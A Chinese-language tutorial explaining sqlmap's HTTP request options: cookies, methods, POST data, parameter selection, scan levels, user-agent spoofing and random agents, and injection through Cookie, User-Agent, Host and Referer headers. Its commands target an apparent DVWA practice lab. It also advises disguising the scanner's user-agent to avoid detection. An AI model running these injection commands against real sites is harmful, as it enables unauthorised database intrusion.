Sqlmap设置Http请求参数
--cookie:指定cookie信息,用来代理登陆状态,如果站点目标URL需要登陆之后才能访问,那么在使用sqlmap对目标URL进行扫描时需要将登陆后的cookie一并带过去,不然sqlmap的扫描有可能会被重定向到登陆页面,或者没有访问该接口的权限
--method:指定http请求方式,如POST、GET、DELETE、PUT等
--data:POST请求所携带的参数,如果指定了这个选项,那么请求方式默认是POST
--param-del:GET或POST参数默认分隔符,默认是&,如果设置成“,”,那么GET参数格式为
?id=1;name=张三
,
POST请求方式需要通过配合--data选项来设置
--data="id=1;name=张三"
--level: 测试的安全等级(1-5, 默认1),值越大,扫描深度越大
-p:要测试的参数
如要扫描的url为:
http://test.dvwa.com/vulnerabilities/sqli/?id=1&Submit=Submit#
可以只扫描id参数,通过-p指定,多个字段用逗号分隔
sqlmap -u "http://test.dvwa.com/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rpdbjcqpqmn0gin5uvsospbpvr; security=low" --dbs -p id
自定义User-Agent
sqlmap的默认user-agent是:
sqlmap/1.0-dev-xxxxxxx..
默认的user-agent容易被服务器识别,通过--user-agent可以设置
sqlmap -u "http://test.dvwa.com/vulnerabilities/sqli/?id=1&Submit=Submit#" --user-agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.0"
也可以通过随机生成user-agent来访问目标url,通过设置--random-agent打开
sqlmap -u "http://test.dvwa.com/vulnerabilities/sqli/?id=1&Submit=Submit#" --random-agent
设置--random-agent之后,每次请求都将会从sqlmap安装目录的data/txt/user-agents.txt中随机选取一条user-agent来完成请求
Sqlmap通过Http请求头各项参数注入
GET /vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1 Host: test.dvwa.com Connection: keep-alive Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Referer: http://test.dvwa.com/vulnerabilities/sqli/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,cy;q=0.6,la;q=0.5 Cookie: PHPSESSID=rpdbjcqpqmn0gin5uvsospbpvr; security=low
对cookie进行注入。保存http请求头信息到文件,通过
sqlmap -r 文件名
来完成对HTTP请求头信息的注入,如果需要对Cookie进行注入,则需要将level设置成2或以上sqlmap -r 文件 --level=2
Sqlmap通过User-Agent进行注入。如果sqlmap需要对User-Agent进行注入,需要将level设置成3或以上
sqlmap -r 文件 --level=3
Sqlmap通过HOST注入。需要将level设置成5,5是最高扫描深度,会对所有HTTP头请求参数进行扫描,如Cookie、User-Agent、Referer..等
sqlmap -r 文件 --level=5
Sqlmap对Referer进行注入,需要将level设置成3或以上
sqlmap -r 文件 --level=3
为HTTP请求设置额外的头信息
通过设置--headers指定额外的头信息或修改已有的头信息,以下命令修改User-Agent为”dagger“,并添加了一个“New Header”头参数,“\n”作为多个HTTP头参数的分隔符
sqlmap -r 文件 --headers="User-Agent: dagger\nNew Header: New Header Value"
-H和--header指定单个HTTP头参数,--headers可以一次指定多个HTTP头参数
也可以通过设置sqlmap.conf配置文件下的[Request]配置完成对HTTP请求头参数的修改